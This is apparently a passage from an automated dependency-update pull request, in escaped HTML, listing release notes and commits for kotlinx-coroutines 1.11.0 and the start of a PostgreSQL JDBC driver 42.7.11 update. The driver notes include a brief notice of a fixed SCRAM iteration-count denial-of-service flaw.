1.11.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/releases\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-test's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. B\nefore, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003e1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/blob/master/CHANGES.md\"\u003eorg.jetbrains.kotlinx:kotlinx-coroutines-test's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.11.0\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBreaking changes and deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003ePromise\u003c/code\u003e-related functions from JS and Wasm/JS to the new \u003ccode\u003eweb\u003c/code\u003e target. On Wasm/JS, this is a breaking change. Before the change, \u003ccode\u003ePromise\u003c/code\u003e on Wasm/JS could work with arbitrary Kotlin types, but now, only \u003ccode\u003eJsAny\u003c/code\u003e subtypes are accepted (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4563\"\u003e#4563\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eChanged handling of coroutine exceptions that can't be propagated on JS and Wasm/JS. Before, exceptions were logged, but now, they are reported to the JS runtime (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4451\"\u003e#4451\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4631\"\u003e#4631\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eDeprecated using \u003ccode\u003eCoroutineDispatcher\u003c/code\u003e as the coroutine context key; now, \u003ccode\u003eContinuationInterceptor\u003c/code\u003e has to be used instead (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca 